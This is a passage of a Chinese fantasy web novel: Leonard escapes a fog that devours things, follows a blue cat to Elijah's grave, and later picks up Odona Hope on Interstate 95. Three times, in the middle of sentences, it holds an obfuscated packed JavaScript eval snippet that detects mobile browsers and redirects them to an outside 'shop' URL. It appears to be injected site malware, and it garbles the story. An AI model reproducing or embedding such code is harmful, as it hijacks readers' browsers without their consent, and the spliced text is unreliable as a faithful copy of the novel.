莱纳德几乎没注意这个不请自来的小生物,他站在树下,用手指碰了碰一朵玫瑰花,花茎上的刺扎得人又痒又疼,这朵花是如此娇嫩、如此真实,莱纳德毫不怀疑,就算此刻把它用剪刀剪下来插到花瓶里,它都能欣欣向荣地开上好几天呢。 但是,假的就是假的。 莱纳德用手指撕下一片花瓣,用指腹搓了搓,红色顿时染上了他的手指,不是鲜花本有的汁液,而是红色的颜料,被人用刷子一点一点涂抹上去的。 就像那个童话,爱丽丝梦游仙境,害怕被皇后砍头的卫兵们小心翼翼地把白玫瑰漆成红色。 可那并不妨碍这些花闻起来依然那么香,空气中没有一丝油漆刺鼻的味道,莱纳德低头嗅了嗅手指,依然是沁人心脾的玫瑰花香,氤氲在空气中,哪怕隔着整条街都能闻到。 就像他刚才告诉苏珊娜的那样。 猫咪忽然大声叫唤起来,跟饿极了似的,两只前爪甚至搭上了莱纳德的裤腿,试图往上窜,莱纳德低下头,对上猫咪圆溜溜的眼睛,忍不住笑道:“你饿了?这花可不能吃哦。”说着一弹指,把手里揉碎的不成模样的花瓣远远地弹了出去。 猫咪继续沿着裤腿攀爬,看起来对玫瑰花并不感兴趣。 莱纳德附身一把抱起猫,“呦”了一声,挠了挠猫咪的下巴:“你还挺沉的嘛,你叫什么,嗯?小猫咪。”蓝猫在他怀里发出舒服的咕噜声,莱纳德短暂地忘记了玫瑰,抚摸着猫咪水貂似的柔软顺滑的毛皮,抱着它往屋里走去。 “啊,莱尼,你在这里。”小胡子忽然出现在敞开的房门口,他还穿着那身睡衣,伸了个懒腰,“姨奶奶带你做园艺了吧?修剪、除草、浇水、施肥,她爱死这一套了。” “是的,她很厉害。”莱纳德附和了一声,蓝猫忽然挣扎着从他怀里蹿了出去,姿态矫健地落地,一溜烟跑开了。 小胡子好奇地看着他:“苏珊娜说你很关心我。” “当然,”莱纳德平静地回视对方,他收拢胳膊,抱在胸前,“你是我的朋友,我希望你尽快康复。”他语气有些苦涩,和一丝不易察觉的恼怒,使得这句话听起来更像是“我希望你尽快去死。” “多谢。”小胡子微笑起来,“你昨晚睡得怎么样?” “还行。”莱纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579925|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德的胃里滑过一丝恐惧——对他刚刚察觉到的语言力量的恐惧,因为眼前的人似乎力大无穷——他思考着小胡子的话,心底忽然生出一种他才刚来到这里不久的错觉,洛克伍德太太邀他进门明明是半小时前的事,哪儿来的昨晚?不,错了、大错特错,理智终于慢半拍地跟上,莱纳德迟钝地想道,他早就到了,昨晚在客房休息,苏珊娜收拾好了床铺,他还喝了一杯温牛奶,一夜无梦。 小胡子的声音忽然在很近的地方响起,几乎就在他耳边,如同梦呓:“谁指使你来找我的?告诉我他的名字。” 莱纳德茫然地眨眨眼睛:“名字?” “是哪个巫师团?” “孟雅特巫师团。”莱纳德喃喃道,舌头仿佛被丢进了温水里,“你是孟雅特巫师团的叛逃巫师,我们为你而来。” “我们?谁是我们?” “……”莱纳德张大嘴巴,忽然间清醒过来,愣怔地问道,“你说什么?” “没什么。”小胡子侧过身让莱纳德进门,在他身后问,“要一起吃早点吗?” 莱纳德头也没回:“哦?我以为伤寒传染。” 小胡子的脸色阴沉下来,哼笑道:“好吧,我要上楼了,苏珊娜会准备好早餐的,好好享用,她很有一手。” “我会的。”莱纳德回答,向小胡子上楼的背影投去警惕的一瞥。 早餐是鲜牛奶和烤得很焦的小面包,莱纳德本来没什么胃口,但还是忍不住吃了一些,夸奖道:“味道真好。” “好吃就多吃点,你太瘦了。”洛克伍德太太说,她在扶手椅里矜持地喝着咖啡,在此之前只像小鸟一样吃了些撕碎的面包块,苏珊娜自称在厨房里吃过了,还贴心地递上了一碟果酱,对莱纳德眨了眨眼睛:“尝尝这个,我特地熬得很浓。” 莱纳德往面包上抹了一大块果酱,味道果然很香甜。 吃到一半,那只蓝猫不知从哪儿冒了出来,居然一下子跳到了沙发上,支棱着尾巴,围着莱纳德喵喵直叫,莱纳德空出一只手来摸了摸它,它立刻得寸进尺,跳到莱纳德的膝盖上,喉咙里咕噜一阵,在那里舒舒服服地窝了下来。 “这只猫是你们养的?”莱纳德问洛克伍德太太,熟练地挠着猫咪的下巴,把猫咪挠得昏昏欲睡,“我以为蓝猫都不太黏人的。” “什么猫?”洛克伍德太太抬起眼睛,瞅了眼悠然地舔着爪子的俄罗斯蓝猫,“哦”了一声,说道,“这只猫啊。”说完又垂下眼睛,继续啜饮手里的浓咖啡,仿佛已经回答完了莱纳德的问题。 倒是苏珊娜伸过手来,想摸摸猫的后背,结果蓝猫很不乐意地一扭腰,从莱纳德的膝盖上跳下来,摇摇摆摆地溜达到窗边,一个蹬跳,轻轻巧巧从窗户翻了出去。 苏珊娜吓了一跳,一手捂着胸口,吁气道:“这猫好大的脾气。” “你们之前没见过?”莱纳德问。 苏珊娜摇摇头:“它从哪里钻进来的?怪干净的,看起来也不像流浪猫。” “嗯哼,大概是从苦沙弥家里跑出来的吧。”莱纳德微笑,望着蓝猫跳出去的窗口,若有所思。 也许,他该跟着那只猫。 68.第十一章:玫瑰花让莱纳德大吃一惊 莱纳德没有从窗户里翻出去,不过他打开门的时候,蓝猫正蹲在门口,优雅地抬头望着他,像高档酒店的门童似的,只差一个红色蝴蝶领结。 “小东西,你是在等我吗?”莱纳德把门关上,蹲下来,看着猫咪杏核似的大眼睛,那对细长的竖瞳仿佛也正打量着他,他摸了摸猫咪柔软顺滑的毛皮,“看什么?我好眼熟吗?” 猫伸爪拍了他一下,作为回敬。 等莱纳德再站起身,猫立刻一扭身从台阶上跳下去,回头冲他喵了一声,莱纳德迈开腿跟上去,猫便又向前轻快地跑走了,他一路跟着蓝猫,穿过花园,来到了栅栏门前。 但莱纳德并没能第一眼看到栅栏门,原本是门的地方,此刻已被大片大片的重瓣玫瑰完全覆盖,先前那丛小而茂盛的花丛,不知何时竟从墙的一边蔓延到了另一边,灌木枝茎疯狂地生长着,连刺都张牙舞爪,妖异的花朵密密地从绿叶间探出来,在风中簌簌抖动。 还有雾。 莱纳德看着街道上忽然涌起的雾气,天气晴朗的时候,从这里原本能看到远处的海岸和渔船的,还有晒得皮肤黝黑、肌肉健壮的渔夫来来往往,而眼下,一切都躲藏在了浓雾里。 他回头看了看,小四方院里仍是鲜花盛开、阳光明媚,仿佛那雾气不知怎的很有分寸似的,只蔓延到围墙外就止步不前,如果你仔细看,就会发现它的边缘并不是静止的,那雾黏糊糊的,在空中一波一波缓缓翻滚,一浪一浪,向前涌到玫瑰丛时便又倏地退回,再涌上来,再退回去,清晰可见。 鬼使神差地,莱纳德把手从玫瑰花丛上伸了出去,试探着抓向浓雾,什么也没抓到,当然了,蓝猫却再次大声叫唤起来,声音急切又愤怒,一边用爪子扒拉着他的裤腿,似乎想把他从雾前拽走似的。 莱纳德只觉得指尖一阵刺痛,像被蜜蜂叮了一口,他缩回手,只见食指上一滴血珠冒出来,他用拇指搓了搓,发现一个针尖大小的伤口。 见鬼,雾也会长牙吗? 莱纳德惊疑不定地瞪着眼前浓得要命的白雾,他不打算再拿自己的手去验证刚才的猜想,因为他敢发誓,那雾里有声音,细小的、咀嚼似的声音。 也许那东西喜欢他血的味道呢? 莱纳德立刻俯身把蓝猫抱在怀里,连连后退了几步,一边小声道:“我们最好离这场氢氧化铝实验远一点,对吧?”猫咪老老实实地窝在他怀里,喵了一声表示同意。 一阵“砰砰砰”的声音忽然响起来,不远,好像是从院子另一边传过来的。 莱纳德顺着声音找过去,发现小楼后的墙角下竟然有个隐藏的地窖门,苏珊娜提到过,地窖大概用来储存蔬菜干果之类的食物,但此刻,生锈的金属门正被什么东西敲得砰砰作响,除非地窖里的土豆集体成精,里面一定有个活物。 蓝猫从莱纳德怀里跳下去,围着地窖门转了两圈,再次叫唤起来,仿佛在催促莱纳德,后者犹豫地瞪着地窖门,上面挂着一道锁子,锈迹斑斑的锁。 “有人吗?有人吗!”居然有人声从砸门的间隙里传了出来,声音竟有几分耳熟。 莱纳德愣怔了一会儿,脱口而出:“查尔斯!” “是莱纳德吗?”砸门声停下了,那个声音的主人显然也认出了莱纳德,又惊又喜地连声喊道,“快放我出去!该死,这地方太黑了!” “好!你先退后。”莱纳德喊道,他上前握住生锈的铁锁,一种似曾相识的感觉涌上心头,这让他的信念更坚定了一些,他吁了口气,小声嘟囔:“这只是把锈了锁,一掰就断。”一边收紧手指,用力一拧,只听“咔叭”一声,锁子就像起酥饼干似的断成了碎块。 莱纳德两手握住门把手,用力往上一提。 一股凉风从地窖里吹上来,闻起来与花生和放久了的萝卜相似,让人不想多闻,紧接着,一个长满棕色卷发的脑袋钻了出来,查尔斯·狄更斯满脸笑容地看着莱纳德,眼睛闪闪发亮:“老伙计,你想不出我见到你有多高兴!”他把手伸给莱纳德,让对方把他拉上去。 “你怎么跑到地窖里去的?”把查尔斯拽上来后,莱纳德忍不住问。 “你怎么跑到地窖外的?”查尔斯反问,随即叹了口气,“说实话,我也云里雾里呢,况且那下面的味道也实在不利于我理清思路。”他拍拍衣服上并不存在灰尘,左顾右盼,“说起来,我们刚才不是在……哎,老兄,我可是越来越糊涂了。” “是墓地,对吧?我们刚才在墓地。”莱纳德盯着查尔斯,心砰砰跳起来,泰晤士河、苏格兰场、那些从停尸台爬起来的黑乎乎的尸体,上帝啊,那些会动的尸体……在他脑子里通通都像遥远的梦境似的,但随着查尔斯的出现,那些模糊的东西终于逐渐清晰起来,却又足够让人不寒而栗。 莱纳德咽了口唾沫,心怀希望地问查尔斯:“关于墓地,还有泰晤士河,你记得多少?” 查尔斯摇头道:“记得一些?反正不够解释眼下的。”他忽然抬手捂住脑门“嘶”了一声,像是正在经历最糟糕的宿醉,一边用力揉着太阳穴,一边说道:“说起来,我总觉得咱们还差一个人,但怎么也想不起来,你呢?” 莱纳德想到了那个小胡子男人,想到那些来自以利亚的信,想到普利茅斯海滩和伤寒病,也许所谓的真实才是虚妄,谁知道呢? 他疲惫地摇了摇头:“这个地方怪得很,我觉得我脑子不清醒,老弟,像是浆糊里加了一勺枫糖酱,或者狗屎,随便什么。”他居然叫查尔斯·狄更斯老弟,哈!莱纳德有一部分的理智在击节叫好,另一部分则冷酷地指出,去他的吧,这鬼地方没一样东西是真实的,看看那些玫瑰花就知道了。 查尔斯拍拍莱纳德的手臂:“振作点,实话实说,我脑袋也是稀里糊涂的,说不定是那片该死的雾的缘故,”他竖起大拇指朝外一戳,“我打赌那玩意儿一定有毒,人吸多了会变成傻子,问问泰晤士河的船夫就知道了。” “我不觉得泰晤士河的船夫对这雾有了解,这里是南浮尔港。”莱纳德嘟哝道,他顺着查尔斯的手指看过去,顿时一惊—— 只见刚才还包围在院落外的浓雾,此刻竟已穿过了栅栏门,朝院子里逼近过来!玫瑰花丛在雾气里若隐若现,仿佛被不可见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589912|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力量摇撼,断枝残花落得满地都是,突然之间,整丛灌木都拔地而起,像节节败退的卫兵那样齐齐向院子里退去了。 更糟糕的是,先前还很微弱的咀嚼声——决计错不了,那是嚼碎玫瑰花瓣的动静——此刻也听得更加明显,莱纳德连忙抓起查尔斯的胳膊,把他往屋门拉过去,警惕地说:“我们到室内去,那玩意儿可不止是有毒。” 查尔斯追问:“还有什么?”一边频频回头望向那片涌动不休的雾气,好奇心一如既往的旺盛,莱纳德沉着脸回答:“还会咬人。” “咬人?”查尔斯大惊小怪地叫了一声,又心虚似的压低声音,“怎么,你被它咬过?” 莱纳德不答,他忽然松开查尔斯,转身朝玫瑰花丛小跑过去,雾气正跟花丛纠缠得难舍难分,却在他靠近时退后了少许,莱纳德顾不得雾里的尖牙和玫瑰花茎上的刺,左右开弓连摘了四五朵花,俯身抄起一直跟着他的俄罗斯蓝猫,往怀里一抱,用最快的速度狂奔回屋。 客厅里静悄悄的,没有洛克伍德太太和苏珊娜的影子,桌上摆着他们早饭吃剩下的茶点,居然还没收拾。 查尔斯站在门口,不可置信地瞪着对方:“杜弗伦,你冒着被雾吃掉的风险,就是为了摘几朵玫瑰?老天爷,千万别告诉我你是打算把花送给我!” 莱纳德把其中一朵拍在查尔斯胸口:“想得美,赶紧把花别在衣服上,这些玫瑰花不简单,你也看到了,关键时刻说不定能对付雾里的鬼东西。”一边摸索着想给蓝猫也别上一朵,却又无处下手,他硬着头皮默念“项圈”,一边把手指伸到猫咪脖颈处的绒毛里,果然摸到了皮质项圈,连忙把玫瑰花别在了挂铃铛的小环上。 “这猫怪眼熟啊。”查尔斯伸手去摸,结果被猫反拍一爪,心有余悸地说,“肯定不是比德耐尔小姐家的猫,脾气这么大。” 莱纳德把猫放到地下,猫立刻窜到绿屏风后面,利索地跳上壶架,居高临下地看着他们。 “是谁住在这儿?”查尔斯在屋里转了一圈,对着绿屏风和酸枝木壶架啧啧感叹,“主人看起来是一位有品位、有个性的女士,所以我们可以首先排除掉你。” “谢了,福尔摩斯。”莱纳德回敬道,结果查尔斯莫名其妙地回头看他:“谁是福尔摩斯?” 好吧,名侦探梗可能早了个几十年。 “谁也不是。”莱纳德伸手拈起碟子里剩下的茶点,一用力,起酥的部分便碎成细小的渣,从他指缝间簌簌而落,他皱起眉,喃喃道:“屋里人都去哪儿了?”他又跑到厨房去转了一圈,也没看到苏珊娜,这间屋子里,所有活人都仿佛凭空蒸发了。 查尔斯眯起眼睛看着二楼走廊:“也许在楼上。”他顿了顿,又说:“不过,实话实说,那上面总给我一种黑暗邪恶的感觉,像是有魔鬼正在跳舞。”他看了莱纳德一眼,露出雪白的牙齿,“请原谅我戏剧化的用词,但就是这么回事,绝不夸张。” 他说着伸展手臂比了个“请”的手势,微笑道:“所以,你走前面?” 莱纳德叹了口气,直觉告诉他,楼上的东西绝不会讨人喜欢。 69.第十二章:猫咪拯救一切 木质楼梯在脚下“吱呀”作响,像是风湿发作的老头在呻吟,莱纳德走在前面,如查尔斯所愿,踏上了二楼的走廊。 走廊里光线昏暗,空气中浮动着灰尘的气味,莱纳德听到了卧室里沉重的呼吸声,隔着一道门都清晰可闻,他的胃里忽然一片冰冷。 是以利亚,老天爷啊,那是以利亚。 他病得快要死了。 莱纳德听到自己在脑子里尖叫,像是被扼住脖颈的狗崽子一样绝望又惊恐,他用力推开门,整个人撞进去,沉重的喘息声顿时更近了,但屋里一片漆黑,厚重的窗帘隔绝了一切光线,莱纳德瞪大眼睛,过了好几秒才适应,勉强看出床的轮廓,和床上躺着的人。 “以利亚?”莱纳德的声音抖得像风中的羽毛,他上前几步,走到床边,摸索着想要握住以利亚的手,“你还好吗?” “嗯?”床头响起浑浊的喉音,床板吱呀,被单摩擦,床上的人翻了个身,莱纳德看到一双浑浊的眼睛睁开,望向他,含混不清地吐出一个音节,“谁?” 那声音苍老无比,像是已经活了一百多岁。 他握住的那只手也鸡爪一样枯瘦干瘪,莱纳德猛地松开手,向后退去,脑袋里的声音尖锐得简直不像他自己的,耶稣上帝圣母玛利亚啊,以利亚不止是病了,他老了,他老得快要死了,怎么办怎么办他该怎么办?查尔斯在他身后不明所以地小声问:“老兄,什么情况?” “莱尼?”那个浑浊苍老的声音忽然清晰了,被子裹住的躯体开始在床上扭动,努力想要抬起上半身,两片嘴唇蠕动着,又叫了一声,“莱纳德,是我啊。” 查尔斯倒吸了一口气:“上帝啊,那是……” 莱纳德忽然转身,恶狠狠地说:“闭嘴!别说!” 查尔斯猛地闭上嘴,瞪大眼睛,受惊的小鸟似的踉跄后退到门口,他的目光在莱纳德和吱呀作响的床铺间来回游移,脸上表情惶然,好像被盒子里蹦出的小丑吓坏的八岁小男孩。 莱纳德抬起两只手捂住眼睛,摇头道:“不是真的,这不是真的,床上没有人。”可身后的床上仍然动静不断,于是他又把耳朵堵住:“什么都没有。” 所有的声音都消失了。 莱纳德松开手,回过头,轻轻地吁了口气,床铺上只有一团揉乱的被单。 就像他说的,没有人。 “看在撒旦的份上,他、他……”查尔斯找回了自己的声音,虽然那声音听起来沙哑干涩,像风干的牛粪,“那个人去哪儿了?” 莱纳德的嘴巴抿成一条直线,他想说他不知道,尽管答案比奶油蛋糕上的狼蛛还要显眼,又比五月节的兔子还要疯狂,好半天,他才慢慢摇了摇头:“你看错了,床上没有人。” 查尔斯的脸上写满挣扎:“可我明明……” 莱纳德大声打断他:“你没有!” 可那种言灵似的力量这一次失效了,查尔斯梗着脖子,上前一步:“听着,我是个记者,也许不够合格,但看清事实是我的本职。” 莱纳德又气又急,脱口而出:“别傻了,连你也不是……”他猛地闭住嘴,险些咬住舌头,那个危险的词被他吞了回去,可已经晚了,对面,查尔斯忽然发出尖锐的吸气声,抬起胳膊盯着自己的双手,但不止是那双手,他整个人突然开始像泡沫一样褪色,转眼间就变成了半透明的。 “杜弗伦?”查尔斯抬起头最后看了莱纳德一眼,张了张嘴,但最后一个音节卡在喉咙里,连同他的人一起消失了。 “不要!” 莱纳德朝查尔斯的方向伸出手,却只抓到一个长满刺的小东西,他摊开手掌,是那朵玫瑰,被查尔斯别在胸口的衣襟上,有几片花瓣不堪蹂躏,红颜料褪去,露出憔悴的惨白色来。 它怎么可能比查尔斯更真实? 脚下忽然响起一声猫叫,莱纳德低下头,跟蓝灰色小猫对上了眼睛,他叹了口气,俯身抱起猫咪,低声道:“看起来,就剩咱们俩了。” 猫安静地趴在莱纳德的臂弯里,蜷缩起来。 莱纳德转身离开,把这间充满噩梦的卧室抛在身后,也许真的有魔鬼在里面跳舞,他的朋友才会接连重病垂死、凭空消失,又或许,那个魔鬼不是别人,正是他自己。 不管是哪一种,莱纳德心想,他都有大麻烦了。 走廊还和刚才没什么两样,昏暗、肮脏、鸦雀无声,空气却产生了某种微妙的变化,似乎变得……更粘稠了。 莱纳德小跑几步冲到楼梯口,楼下,半掩着的门缝里,白雾正一股一股地涌进来,眼看就要蔓延过茶几了。 “当啷”一声,原本摆在茶几上的餐盘跌在地板上,摔成了几块,装在盘子里的小点心滚进了白雾里,或是白雾朝小点心蠕动了过去。 咀嚼声紧跟着响起,令人毛骨悚然。 莱纳德一手抱猫,另一只手紧紧捏着领口的玫瑰花,眼看着白雾朝楼梯涌过来,心知自己没有太多选择,要么回头躲进卧室,多为自己争取几分钟痛哭流涕的时间,要么干脆从楼梯上跳下去,让重力解脱自己。 但他两个都不想选。 咯吱咯吱、咯吱咯吱—— 浓雾继续前进,咀嚼声愈发响亮,莱纳德不自禁地后退,他想起被土耳其云雾离奇吞噬的英国军队,想起斯蒂芬·金的《迷雾》和那些吃人的怪物,忍不住想,楼下除了那碟可怜的点心压根没什么食物,雾里的东西——不管它是该死的什么鬼——到底在吃什么?酸枝木做成的壶架吗? 猫忽然在他怀里挣扎了一下,蹬动后腿想跳到地下去。 “别动!”莱纳德连忙抱紧猫咪,后者回以愤怒的大叫,他只好温声安抚,“那下面的雾可不是好惹的,乖一点,你这样的小猫咪,一旦靠近,肯定被啃得骨头都不剩。” 可惜这话并没有被猫听进去,它敏捷地伸爪在莱纳德脸前虚晃一抓,趁莱纳德后仰的瞬间,后退猛地一蹬,便矫健地跃到地面上去了。 “喂!”莱纳德大惊,俯身朝猫咪扑过去,但猫比他反应快得多,一扭腰,姿态优雅地躲开扑击,踩着模特似的步子朝楼梯一路小跑过去。 “猫!” 莱纳德一声惊呼还没来得及完全出口,便瞪大眼睛,被眼前的一幕惊得说不出话来,只见蓝猫落脚的地方,白雾竟然自动向两侧退开,仿佛它不是只猫,而是什么古代神话里的避雾兽似的,所经之处,怪物概不能近身…… “喂,等等我。”莱纳德追上去,亦步亦趋地跟在蓝猫后面,小心翼翼地走在浓雾聚拢的狭窄通道里,避开不时蠢蠢欲动探过来的粘稠边缘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598790|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出屋子,穿过四方院,推开大门—— 然后,回到了那片墓地。 撒旦啊。 莱纳德揉揉眼睛,眼前的景色绝对是闹鬼的镇公墓无疑,夜色正深沉,石板小径上到处是积水,两边蒿草疯长,如果不是脚边的猫,他一定会以为自己回到了那个潮湿、阴暗、冷得如同冰窖的噩梦里。 蓝猫安静地走在前面,带着某种从容沉着的气度,目标明确,就像它完全清楚自己要去哪儿似的。 很快,莱纳德也知道了。 是那块墓碑。 总是那块墓碑。 ——以利亚·X·海伊克默里希长眠于此,墓碑上的烫金刻字如是陈述,和他在噩梦里看到的如出一辙。 尽管以利亚从未告诉过他自己的姓氏和中间名,但莱纳德知道就是他,再没有别人墓碑上的生卒年会是见鬼的公元纪年3034至1832年。 可为什么是他? 为什么是这里? 莱纳德看着墓碑,感到眼角发涩,但眼睛却干得发疼。 他还记得他们三个人被苏格兰场停尸房里的僵尸一路追着逃到墓地,记得地面骤然开裂,然后他就像傻乎乎掉进兔子洞的爱丽丝那样去到了南浮尔港的海边小宅,见到了比复活尸体更糟糕的怪物。 那些全部加起来,都比不上眼前的石碑更令人恐惧。 蓝猫围在莱纳德脚边打转,他却像是什么都没感觉到,沉默半晌,才定定地开口说道:“你早就知道了,是不是?” 没有人回答,甚至没有夜枭啼叫,就像任何晚间的墓园那样。 莱纳德又说:“我知道你在这儿,别躲了。” 一片寂静。 忽然,一个男人的声音在他身后响起,语调含笑:“真的吗?我以为你扮演伤心爱人太入戏,全部心神都放在那块墓碑上了呢。” “我是在等你。”莱纳德没回头,他知道是那个戴单片镜、留小胡子的男人,被孟雅特巫师团驱逐后躲藏在伦敦下水道里慢慢腐烂的肮脏人物,他顿了顿,又说:“你不也在等我吗?” “或者说,等待你的是一个机会。”小胡子笑起来,声音黏腻,像浓雾一样险恶。 “什么机会?” “当然是救他了,傻瓜。” 小胡子走过来,漫不经心地隔空指了指墓碑,遗憾地“啧啧”两声,“虽然我十分乐意见到此景,但对你来说,只怕舍不得以利亚真的永远长眠于此吧?” 莱纳德忽然“嗤”地笑了一声,偏过头,打量着小胡子:“你接下来是不是要告诉我,改变现实的珍贵机会就在眼前,而你打算大发慈悲地给我指条明路?等等,那条路是不是还恰好叫做‘黑魔法’?” 谁知小胡子却说:“不!恰恰相反。” 他得意地扶了下单片镜,悠然说道:“你早就走上这条路了,只是你还不知道罢了,至于我嘛,我只是个普普通通的守墓人,来兑现一个很久前许下的诺言。” “什么诺言?” 小胡子咧开嘴,露出一副野狗吃屎似的笑容,同时,一道传送门在他身后逐渐显形,猩红色的光芒在夜色中看起来如同地狱恶魔的眼睛。 他伸展右臂,比了个“请”的手势,说道:“别担心,你会记起来的。” 70.第一章:95号公路 舍尔曼大街169号,波特兰市,缅因州。 SVN904-233。 纸条被莱纳德·杜弗伦捏在手里,另一只手心不在焉地搭在方向盘上,纸条不知被揉搓过多少次,早就变成了皱巴巴的一团,展开后,上面写的就是这个地址,和这一串让人摸不着头脑的字母和数字。 莱纳德皱起眉头,他不喜欢含义不明的讯息。 车窗外,95号州际公路的景色正在飞速倒退,苍翠却又荒凉,美洲北部的冷空气裹挟着大西洋寒流,从窗缝里灌进来,发出蛇吐信似的“嘶嘶”声,即使开着暖气,车里也还是冷得能把人屁股冻掉。莱纳德从瑞奇&乔纳森租车行租下这辆福特F450的时候,老板瑞奇,或者乔纳森——总该是他们俩中的一个——信誓旦旦地声称,除了风驰电掣,坐进这辆车的感觉舒服得简直就像回到家里。 所以,莱纳德不快地想,那家伙难道以为他住在桥洞下面吗? 唯一的好消息是,缅因和密歇根离得很近,好吧,至少不算太远,跟他之前的几个落脚之处相比,也就是说,回家要方便得多。但猜猜怎么着?途径上一个加油站时,莱纳德顺手买了一份最新的《波特兰新闻先驱报》,报纸头版上的日期是2005年10月15日,妈的,太棒了,此时此刻,七八岁的四眼莱尼还在庞蒂亚克小镇里拖着鼻涕念小学呢。 唉,自从开始旅行,幸运女神看他肯定就没顺眼过。 福特卡车呼啸着一路北上,风更疾也更冷了,莱纳德连打了几个喷嚏,十分想把新买的报纸拿来糊车窗缝,他决定自己既不喜欢公路旅行,也不喜欢缅因。 太多森林,太多湖泊。 太多幽灵。 他忽然拧起眉头,远处好像有个背包客站在路边,随着卡车驶近,莱纳德看得更清楚,背包客头戴棒球帽,穿一身磨得发旧的牛仔,裤脚塞在悍戈战术靴筒里,尽管脸被太阳镜遮住了大半,但身材瘦小,看起来像个女人。 女背包客肯定也看到了福特卡车,于是举起右臂朝公路的方向伸展,竖起了大拇指。 啧,还真是想什么来什么。 莱纳德踩下刹车,把福特靠边停下,摇下另一边车窗,把声音逆着冷风送出去:“去哪儿?”然后他看清了那个人的脸,的确是个女人,不仅如此,就算有再大的太阳镜挡着他都不会认错那张脸。 奥多娜·霍普。 莱纳德眨眨眼睛,他的运气在今天绝对触底了。 “我去缅因州,波特兰市。”奥多娜把墨镜往下拉了一点,黑眼睛瞟着他,满含笑意,“帅哥,方便搭一程吗?” “喂,这个世界是不是有点太小了?雇佣兵小姐。”奥多娜上车后,莱纳德忍不住翻着白眼说道,不过事实上,他并没有表现出来得那么不耐烦,不管怎样,能在这种情况下看到一张熟悉的脸总是件令人开心的事,即便这张脸每次出现都能给他带来点意外惊吓。 “喂!别这么叫我,”奥多娜把棒球帽檐拨到脑后,冲莱纳德露出微笑,“还是说,你已经忘记我的名字了?” “你怎么知道我会来的?”莱纳德不答反问,一股忐忑不安的感觉在他胃里蔓延开来,就像毛毛虫忽然间变成了一群乱飞的蝴蝶。 时空旅行者的相遇就是这样,没有预告,没有指南,永远无从知晓对方手里掌握着多少剧透。 “你不会以为我专程在等你吧?杜弗伦小可爱。”奥多娜右肘搭在车窗框上,歪过身子打量着莱纳德,后者丝毫不为所动,两个人沉默对峙了好一会儿,奥多娜才用一种实事求是的语气说道:“好吧,我确实是在等你,昨天晚上有只小鸟飞进我的窗子告诉我,95号州际公路上有个伤心欲绝的灵魂等着我去安慰,所以我就来了。” 莱纳德沉下脸:“伤心欲绝?” 奥多娜瞟着他:“不是吗?” 莱纳德的嘴巴抿成一条直线,脸色苍白,声音却硬得像石头:“霍普,看在我们勉强也算并肩作战过的份上,你还有一分钟解释,为什么会在这个时间、这个地点出现在我面前?你跟那个住在伦敦下水道里的魔法耗子到底是什么关系?那个杂种派你来我这干什么?” 他越说声音越大,不等奥多娜回答,又连珠炮似的说道:“要是你打定主意要继续讲些没营养的俏皮话,霍普,我发誓,绝对会把你从车窗里丢出去!” “喂、喂、喂——”奥多娜·霍普夸张地举起双手,比出和平的手势,张大嘴巴,“好吧,坏玩笑,我承认我过线了,真诚道歉,然后我们和好,怎么样?” “四十秒。”莱纳德冷冷地说道。 奥多娜只好叹了口气,不自在地扭了下屁股,好像她不是坐在座位上,而是坐在了几根针上面:“这组坐标是以利亚给我的,他嘱咐我不要告诉你,所以你看,我也不算全是骗你,以利亚他——” “嗤啦”一声,奥多娜嘴里的音节变成了一声短促的惊叫,车轮胎在水泥路面上拖出刺耳的摩擦声,莱纳德猛踩刹车把车停下,胸口被安全带勒得生疼,他像匹马似的喘了口粗气,扭过头,盯着奥多娜,一字一顿:“再说一遍。” 奥多娜满脸惊讶,不知道是被急刹车还是被莱纳德脸上的表情吓到了,鉴于这个女人彪悍的历史,后者的可能性更大一些,而且多半是故意装出来的,她右手拍了拍胸口,吁气道:“老天爷,连档都不换,你知道这样对发动机和我的心脏都不好吧?” 莱纳德用力一拳砸在方向盘上,大声吼道:“奥多娜·霍普,我他妈没跟你开玩笑!”他只觉得浑身的血都冲上了头顶,连眼角都发热了,他意识到自己的心跳得跟擂鼓一样,如果这一切真是以利亚跟他开的恶劣玩笑,如果以利亚真的还活着,他发誓一定要杀了他! 他一定、一定要好好给他点颜色看看,在他狠狠拥抱这个混蛋之后。 “冷静点,小老虎。”奥多娜放缓了语气,一只手搭在对方肩膀上,用力按了按,“我不知道你们俩之间出了什么问题,但我没有开玩笑,这组坐标的确是以利亚给我的,通过加密传讯。” 她顿了顿,又说:“跟伦敦下水道里的耗子鳄鱼没有半毛钱关系,是他希望我能来找你。”她看着莱纳德,眼神跟着柔和下来:“因为你现在需要一个朋友,不是吗?” 莱纳德低下头,掐住眉心用力揉了揉,终于吐出口长气,和一个单音节词:“是。” 